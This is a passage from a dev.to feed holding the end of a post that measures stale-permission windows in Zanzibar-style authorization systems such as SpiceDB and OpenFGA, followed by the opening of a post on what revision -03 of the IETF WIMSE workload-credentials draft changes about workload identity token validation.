&lt;p&gt;The &lt;code&gt;datastore_unique_id_prefix&lt;/code&gt; field guards against a different mistake: a token minted by another SpiceDB datastore (a restore, a migration, a different cluster). The default &lt;code&gt;--mismatch-zed-token-behavior=full-consistency&lt;/code&gt; ignores such a token and reads at head; &lt;code&gt;min-latency&lt;/code&gt; and &lt;code&gt;error&lt;/code&gt; are the alternatives.&lt;/p&gt;

&lt;h2&gt;
  
  
  Measuring the window
&lt;/h2&gt;

&lt;p&gt;Steps 3 and 6 of &lt;code&gt;run.sh&lt;/code&gt; grant Chen access, wait for it to settle, remove him, then check four ways and poll:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== 3. Checks right after the removal
minimize_latency:            PERMISSIONSHIP_HAS_PERMISSION
at_least_as_fresh(removal):  PERMISSIONSHIP_NO_PERMISSION
fully_consistent:            PERMISSIONSHIP_NO_PERMISSION
at_exact_snapshot(grant):    PERMISSIONSHIP_HAS_PERMISSION

== 6. How long minimize_latency keeps saying yes after the removal
removal acknowledged -&amp;gt; minimize_latency says NO_PERMISSION: 4.6s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Over five more runs, the stale &lt;code&gt;HAS_PERMISSION&lt;/code&gt; lasted 0.7, 4.6, 4.8, 4.9 and 4.1 seconds. That spread is the position of the removal inside the 5-second quantum. &lt;code&gt;minimize_latency&lt;/code&gt; is the default for &lt;code&gt;CheckPermission&lt;/code&gt; (&lt;a href="https://authzed.com/docs/spicedb/concepts/consistency" rel="noopener noreferrer"&gt;consistency docs&lt;/a&gt;), so an application that ignores ZedTokens gets this window on every revocation.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;at_exact_snapshot&lt;/code&gt; line is the other side of opacity. Handing back the grant's token gives a historical answer on purpose, which is useful for paginating and dangerous for authorization. The paper deliberately did not let clients "read or evaluate ACLs at an arbitrary snapshot" (§5).&lt;/p&gt;

&lt;p&gt;The paper's flow is still the right one: run the content-change check, store the returned token "with the content change in an atomic write to the client storage" (§2.2), and send it as &lt;code&gt;at_least_as_fresh&lt;/code&gt; on later checks of that content. SpiceDB's docs say the same: the token "should be stored alongside the newly updated content in the application database", in a &lt;code&gt;text&lt;/code&gt; column on PostgreSQL. The tokens come back in &lt;code&gt;written_at&lt;/code&gt;, &lt;code&gt;deleted_at&lt;/code&gt;, &lt;code&gt;checked_at&lt;/code&gt; and &lt;code&gt;read_at&lt;/code&gt; (&lt;a href="https://github.com/authzed/api/blob/main/authzed/api/v1/permission_service.proto" rel="noopener noreferrer"&gt;&lt;code&gt;permission_service.proto&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Read replicas bring the lag back
&lt;/h2&gt;

&lt;p&gt;A single primary gives you ordering. Read replicas take some of it away again, and that is where the token earns its keep. With &lt;code&gt;--datastore-read-replica-conn-uri&lt;/code&gt;, SpiceDB wraps the datastore in &lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/proxy/checkingreplicated.go" rel="noopener noreferrer"&gt;&lt;code&gt;proxy/checkingreplicated.go&lt;/code&gt;&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c1"&gt;// If the revision is not known to the replica, use the primary instead.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replica&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CheckRevision&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="n"&gt;irr&lt;/span&gt; &lt;span class="n"&gt;datastore&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;InvalidRevisionError&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;As&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;irr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;irr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;datastore&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CouldNotDetermineRevision&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chosenReader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;primary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SnapshotReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So a check carrying the removal's token asks the replica "do you have xid 842?" and goes to the primary if not. That is the paper's Safe and Recent split (§4.1) on one machine: old tokens are served locally, fresh ones pay a round trip. The docs add two warnings for MySQL: it "requires two roundtrips instead of one", and "Do not use a load balancer between SpiceDB and MySQL replicas", because SpiceDB has to know which replica answered the revision check. MySQL revisions are an &lt;code&gt;AUTO_INCREMENT&lt;/code&gt; id in a transactions table (&lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/mysql/migrations/zz_migration.0001_initial_schema.go" rel="noopener noreferrer"&gt;&lt;code&gt;mysql&lt;/code&gt; initial schema&lt;/a&gt;). That a later-committed transaction always gets a larger id is my reading of how InnoDB assigns them; SpiceDB's docs do not state it.&lt;/p&gt;

&lt;p&gt;On Cloud Spanner, SpiceDB "assumes the database is linearizable and skips the transaction overlap strategy" and reads its revision with &lt;code&gt;SELECT CURRENT_TIMESTAMP()&lt;/code&gt; (&lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/spanner/revisions.go" rel="noopener noreferrer"&gt;&lt;code&gt;spanner/revisions.go&lt;/code&gt;&lt;/a&gt;). That is the configuration closest to the paper.&lt;/p&gt;

&lt;h2&gt;
  
  
  Without a token at all
&lt;/h2&gt;

&lt;p&gt;The other implementations mostly skip the token.&lt;/p&gt;

&lt;p&gt;OpenFGA says the paper "has a feature called Zookies" and offers two modes instead: &lt;code&gt;MINIMIZE_LATENCY&lt;/code&gt; (default), where it "will serve queries from the cache when possible", and &lt;code&gt;HIGHER_CONSISTENCY&lt;/code&gt;, where it "will skip the cache and query the database directly" (&lt;a href="https://openfga.dev/docs/interacting/consistency" rel="noopener noreferrer"&gt;consistency&lt;/a&gt;). With a PostgreSQL read replica configured, the second mode also picks the primary (&lt;a href="https://github.com/openfga/openfga/blob/v1.22.1/pkg/storage/postgres/postgres.go" rel="noopener noreferrer"&gt;&lt;code&gt;postgres.go&lt;/code&gt;&lt;/a&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nc"&gt;Datastore&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;getPgxPool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consistency&lt;/span&gt; &lt;span class="n"&gt;openfgav1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ConsistencyPreference&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pgxpool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Pool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;consistency&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;openfgav1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ConsistencyPreference_HIGHER_CONSISTENCY&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// If we are using higher consistency, we need to use the write database.&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;primaryDB&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is "as fresh as the primary", not "at least as fresh as my write". The cost difference is the point of zookies: with a token, only checks of recently changed content go to the primary; with a mode, every check that might care does. OpenFGA's docs suggest keeping a last-modified timestamp per resource and requesting higher consistency only while it is newer than the cache TTL, which means the application stores half a zookie itself.&lt;/p&gt;

&lt;p&gt;Ory Keto has &lt;code&gt;snaptoken&lt;/code&gt; and &lt;code&gt;latest&lt;/code&gt; fields in its v1alpha2 Check API, each marked "This field is not implemented yet and has no effect" (&lt;a href="https://github.com/ory/keto/blob/master/proto/ory/keto/relation_tuples/v1alpha2/check_service.proto" rel="noopener noreferrer"&gt;&lt;code&gt;check_service.proto&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Warrant reads a &lt;code&gt;Warrant-Token&lt;/code&gt; header, and the only value it acts on is &lt;code&gt;latest&lt;/code&gt; (&lt;a href="https://github.com/warrant-dev/warrant/blob/main/pkg/wookie/wookie.go" rel="noopener noreferrer"&gt;&lt;code&gt;wookie.go&lt;/code&gt;&lt;/a&gt;), which routes the read to the primary. The open-source server never hands one out.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-without-truetime%2Fdiagrams%2F03-product-matrix.png%3Fv%3D70e2ea46" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-without-truetime%2Fdiagrams%2F03-product-matrix.png%3Fv%3D70e2ea46" alt="Matrix of nine product and datastore combinations against where commit order comes from, what token is returned, how a read at least as fresh as the token is served, and what gap remains. Spanner-backed rows and SpiceDB on PostgreSQL leave no gap with a token; CockroachDB depends on the overlap strategy; OpenFGA, Ory Keto and Warrant expose no per-write token." width="719" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I would check before trusting one of these
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A token has to exist and your write path has to store it. Without one, your revocation latency is the cache TTL or the quantization interval, whichever is longer. I measured up to 4.9 s on SpiceDB defaults.&lt;/li&gt;
&lt;li&gt;On CockroachDB, look at the overlap strategy and key. &lt;code&gt;insecure&lt;/code&gt; reopens the 2021 bug. &lt;code&gt;prefix&lt;/code&gt; with un-prefixed type names is &lt;code&gt;static&lt;/code&gt;. &lt;code&gt;request&lt;/code&gt; is only as safe as your clients' discipline with the header.&lt;/li&gt;
&lt;li&gt;On CockroachDB, &lt;code&gt;fully_consistent&lt;/code&gt; is not read-after-write, per the docs. Pass the token.&lt;/li&gt;
&lt;li&gt;No load balancer between SpiceDB and MySQL replicas.&lt;/li&gt;
&lt;li&gt;Nothing in the authorization path should pick an old snapshot. &lt;code&gt;at_exact_snapshot&lt;/code&gt; is fine for pagination. Pointing it at an authorization decision undoes the reason zookies are opaque.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The paper's guarantee survives without TrueTime when someone pays for ordering: one primary, one hot row, or a commit wait. What does not survive is skipping the token and hoping the cache is fresh enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Ruoming Pang et al., &lt;a href="https://www.usenix.org/conference/atc19/presentation/pang" rel="noopener noreferrer"&gt;Zanzibar: Google's Consistent, Global Authorization System&lt;/a&gt;, USENIX ATC '19, §2.2, §2.4, §2.4.4, §3.2.5, §4.1, §5.&lt;/li&gt;
&lt;li&gt;James C. Corbett et al., &lt;a href="https://www.usenix.org/system/files/conference/osdi12/osdi12-final-16.pdf" rel="noopener noreferrer"&gt;Spanner: Google's Globally-Distributed Database&lt;/a&gt;, OSDI '12.&lt;/li&gt;
&lt;li&gt;AuthZed, &lt;a href="https://authzed.com/blog/prevent-newenemy-cockroachdb" rel="noopener noreferrer"&gt;The One Crucial Difference Between Spanner and CockroachDB&lt;/a&gt;, 2021-10-14.&lt;/li&gt;
&lt;li&gt;SpiceDB docs: &lt;a href="https://authzed.com/docs/spicedb/concepts/datastores" rel="noopener noreferrer"&gt;Datastores&lt;/a&gt;, &lt;a href="https://authzed.com/docs/spicedb/concepts/consistency" rel="noopener noreferrer"&gt;Consistency&lt;/a&gt;. Source at &lt;a href="https://github.com/authzed/spicedb/tree/v1.57.1" rel="noopener noreferrer"&gt;v1.57.1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Cockroach Labs, &lt;a href="https://docs.cockroachlabs.com/docs/stable/cockroach-start" rel="noopener noreferrer"&gt;&lt;code&gt;cockroach start&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;OpenFGA, &lt;a href="https://openfga.dev/docs/interacting/consistency" rel="noopener noreferrer"&gt;Query Consistency Modes&lt;/a&gt;; source at &lt;a href="https://github.com/openfga/openfga/tree/v1.22.1" rel="noopener noreferrer"&gt;v1.22.1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Permify, &lt;a href="https://fusionauth.io/permify-docs/operations/snap-tokens" rel="noopener noreferrer"&gt;Snap Tokens&lt;/a&gt;; source at &lt;a href="https://github.com/Permify/permify/tree/v1.7.6" rel="noopener noreferrer"&gt;v1.7.6&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/ory/keto/blob/master/proto/ory/keto/relation_tuples/v1alpha2/check_service.proto" rel="noopener noreferrer"&gt;Ory Keto &lt;code&gt;check_service.proto&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://github.com/warrant-dev/warrant/blob/main/pkg/wookie/wookie.go" rel="noopener noreferrer"&gt;Warrant &lt;code&gt;wookie.go&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Reproduction scripts: &lt;a href="https://github.com/0-draft/dev.to/blob/main/articles/assets/zanzibar-without-truetime/run.sh"&gt;&lt;code&gt;run.sh&lt;/code&gt;&lt;/a&gt; (PostgreSQL) and &lt;a href="https://github.com/0-draft/dev.to/blob/main/articles/assets/zanzibar-without-truetime/run-crdb.sh"&gt;&lt;code&gt;run-crdb.sh&lt;/code&gt;&lt;/a&gt; (CockroachDB).&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>authorization</category>
      <category>security</category>
      <category>database</category>
      <category>distributedsystems</category>
    </item>
    <item>
      <title>WIMSE Workload Credentials -03: The WIT Finally Gets a Validation Procedure</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:25:28 +0000</pubDate>
      <link>https://dev.to/kanywst/wimse-workload-credentials-03-the-wit-finally-gets-a-validation-procedure-5dg6</link>
      <guid>https://dev.to/kanywst/wimse-workload-credentials-03-the-wit-finally-gets-a-validation-procedure-5dg6</guid>
      <description>&lt;p&gt;Revision -03 of &lt;a href="https://datatracker.ietf.org/doc/draft-ietf-wimse-workload-creds/03/" rel="noopener noreferrer"&gt;draft-ietf-wimse-workload-creds&lt;/a&gt; came out on 30 October 2026, and the first thing I did was write a validator for its new Section 5.1.3, "Validating the WIT", and feed it the draft's own example token.&lt;/p&gt;

&lt;p&gt;It passed. The token expired on 24 April 2025.&lt;/p&gt;

&lt;p&gt;That isn't a bug in the example (examples go stale) or really in the checklist (it defers to the JWT best practices for the rest). It's a good picture of what -03 is: the first revision where a recipient gets an explicit list of WIMSE checks, and a list you still can't implement on its own.&lt;/p&gt;

&lt;p&gt;My full notes, with the interop checklist, are on the &lt;a href="https://0-draft.github.io/identity-deep-dive/ietf-wimse/deep-dives/draft-ietf-wimse-workload-creds/" rel="noopener noreferrer"&gt;identity-deep-dive page for this draft&lt;/a&gt;. I covered the architecture draft back in March in &lt;a href="https://dev.to/kanywst/wimse-workload-identity-in-multi-system-environments-deep-dive-standardizing-identity-5a12"&gt;the WIMSE deep dive&lt;/a&gt;. This one only covers the credential draft and what -03 changed. I checked everything below against the -03 and -02 sources at the tags &lt;code&gt;draft-ietf-wimse-workload-creds-03&lt;/code&gt; / &lt;code&gt;-02&lt;/code&gt; in &lt;a href="https://github.com/ietf-wg-wimse/draft-ietf-wimse-s2s-protocol" rel="noopener noreferrer"&gt;ietf-wg-wimse/draft-ietf-wimse-s2s-protocol&lt;/a&gt; and the datatracker iddiff, on 15 November 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two credentials, one identifier
&lt;/h2&gt;

&lt;p&gt;The draft defines exactly two things and says nothing about how you prove you hold their keys:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;WIT&lt;/strong&gt; (Workload Identity Token): a JWS-signed JWT from the Identity Server. &lt;code&gt;sub&lt;/code&gt; is the Workload Identifier, &lt;code&gt;cnf.jwk&lt;/code&gt; is the workload's public key. It goes in a &lt;code&gt;Workload-Identity-Token&lt;/code&gt; HTTP header, never in &lt;code&gt;Authorization&lt;/code&gt;, and never as a bearer token.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WIC&lt;/strong&gt; (Workload Identity Certificate): an X.509 certificate whose Workload Identifier sits in exactly one URI SubjectAltName. It is for mutual TLS.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Proof of possession lives elsewhere: the Workload Proof Token (&lt;a href="https://www.ietf.org/archive/id/draft-ietf-wimse-wpt-02.txt" rel="noopener noreferrer"&gt;draft-ietf-wimse-wpt-02&lt;/a&gt;), HTTP Message Signatures (&lt;a href="https://www.ietf.org/archive/id/draft-ietf-wimse-http-signature-08.txt" rel="noopener noreferrer"&gt;draft-ietf-wimse-http-signature-08&lt;/a&gt;), and mutual TLS. -03 adds one sentence to the Introduction (issue #256): sending a WIT over TLS, or binding its proof to TLS session properties, does not make it a transport-layer credential. Mutual TLS uses the WIC.&lt;/p&gt;

&lt;p&gt;Section 4 keeps the one-identifier rule for both: "Each WIMSE credential carries exactly one Workload Identifier". For a WIC, a second URI SAN carrying a Workload Identifier is a MUST NOT (Section 6.1). DNSName SANs are still RECOMMENDED for server certificates, for clients that validate by host name.&lt;/p&gt;

&lt;h2&gt;
  
  
  The WIT, field by field
&lt;/h2&gt;

&lt;p&gt;Here is the example from Section 5.1 decoded. The header is &lt;code&gt;{"alg":"ES256","kid":"June 5","typ":"wit+jwt"}&lt;/code&gt; and the claims are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"cnf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"jwk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Ed25519"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"crv"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Ed25519"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"kty"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"OKP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"1CXXvflN_LVVsIsYXsUvB03JmlGWeCHqQVuouCF92bg"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1745512510&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1745508910&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"jti"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"x-_1CTL2cca3CSE4cwb_l"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"wimse://example.com/specific-workload"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-workload-creds-03%2Fdiagrams%2F01-wit-anatomy.png%3Fv%3D2aac70f8" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-workload-creds-03%2Fdiagrams%2F01-wit-anatomy.png%3Fv%3D2aac70f8" alt="Table of every WIT field in the -03 example: the value, the rule in -03 with its section, and whether -03 changed it. sub drives trust anchor selection; iss, jti and cnf.jwk.alg changed; exp is still missing from the 5.1.3 checklist" width="720" height="606"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three fields matter more than the rest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;sub&lt;/code&gt;&lt;/strong&gt; selects the keys. Its authority (&lt;code&gt;example.com&lt;/code&gt;) is the trust domain, and the trust domain picks the anchor set. Nothing else in the token gets a say. The validator never asks "who signed this?". It asks whether the signature came from one of the keys this trust domain was configured with.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;cnf.jwk.alg&lt;/code&gt;&lt;/strong&gt; pins the proof algorithm: "The presented proof MUST be produced with the algorithm specified in this field". &lt;code&gt;none&lt;/code&gt;, symmetric and encryption algorithms are banned, and general-purpose implementations MUST support &lt;code&gt;ES256&lt;/code&gt;. The WPT draft echoes it: the WPT header &lt;code&gt;alg&lt;/code&gt; "MUST match the &lt;code&gt;alg&lt;/code&gt; value of the &lt;code&gt;jwk&lt;/code&gt; in the &lt;code&gt;cnf&lt;/code&gt; claim of the WIT". In -03 the example moved from &lt;code&gt;EdDSA&lt;/code&gt; to &lt;code&gt;Ed25519&lt;/code&gt;, because &lt;a href="https://www.rfc-editor.org/rfc/rfc9864" rel="noopener noreferrer"&gt;RFC 9864&lt;/a&gt; registered &lt;code&gt;Ed25519&lt;/code&gt; as a fully specified algorithm and marked &lt;code&gt;EdDSA&lt;/code&gt; Deprecated. The normative rule only says "Allowed values are listed in the IANA ... registry", and a Deprecated entry is still listed, so &lt;code&gt;EdDSA&lt;/code&gt; stays legal. If your verifier only knows one of the two names, it will reject keys from issuers that use the other.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;iss&lt;/code&gt;&lt;/strong&gt; is the one that changed the most, and the change is that it now does almost nothing. More on that below.&lt;/p&gt;

&lt;h2&gt;
  
  
  What -03 changed
&lt;/h2&gt;

&lt;p&gt;Appendix A.1 lists 23 changes. Most are editorial. These seven change code:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-workload-creds-03%2Fdiagrams%2F03-02-vs-03.png%3Fv%3Dc7e39e8b" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-workload-creds-03%2Fdiagrams%2F03-02-vs-03.png%3Fv%3Dc7e39e8b" alt="-02 vs -03 comparison table: key discovery, anchor scoping, knowing who you called, proof audience, revocation, 401 handling, and the example algorithm, with the code change each implies" width="720" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Trust anchors: no more iss-based discovery
&lt;/h3&gt;

&lt;p&gt;In -02, Section 3 already said consumers MUST bind each trust domain to authorized issuers and anchors out of band, and that &lt;code&gt;iss&lt;/code&gt; MUST NOT be used to look up keys from information carried only in the token. But -02 then had a whole subsection, 5.1.3 "A note on &lt;code&gt;iss&lt;/code&gt; claim and key distribution", that let implementations put an &lt;code&gt;https&lt;/code&gt; URL in &lt;code&gt;iss&lt;/code&gt; "to facilitate key distribution via mechanisms like the &lt;code&gt;jwks_uri&lt;/code&gt; from RFC 8414", as long as that was configured out of band.&lt;/p&gt;

&lt;p&gt;-03 deletes that subsection (issue #411, "Simplify iss wordings"), drops RFC 8414 from the references, and puts the validation checklist where it used to be. &lt;code&gt;iss&lt;/code&gt; is RECOMMENDED "for the auditing and operational uses", and "Validators are not required to use &lt;code&gt;iss&lt;/code&gt;". The reason moved to Section 9.1:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;a validator that obtains key material from the credential itself, for example by resolving the &lt;code&gt;iss&lt;/code&gt; claim of a WIT to a key set, would accept credentials from any entity able to operate an issuer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The other change in Section 3 came from issue #370, "Multiple trust domains sharing or overlapping trust roots". -03 adds:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A credential MUST be validated only against the anchors bound to the trust domain named in its Workload Identifier.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the line that matters if you run several trust domains off one CA. A WIC that chains to a shared root but carries &lt;code&gt;spiffe://payments.example/...&lt;/code&gt; must be validated against the anchors configured for &lt;code&gt;payments.example&lt;/code&gt;. "Chains to something I trust" is not enough. Section 9.4 (9.3 in -02) already said the certificate MUST be rejected if the identifier is outside the trust domain of the anchor used. -03 states it once for both credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  The validation procedure
&lt;/h3&gt;

&lt;p&gt;Issue #290 was blunt: "The creds draft seems to me missing guidance for validating the WIT. Both the WIT and HTTP signatures drafts will need to reference it." Section 5.1.3 in -03 is the answer. The recipient MUST ensure:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The token is a single well-formed JWT using JWS compact serialization.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sub&lt;/code&gt; is present and is a single Workload Identifier; its trust domain selects the anchors.&lt;/li&gt;
&lt;li&gt;
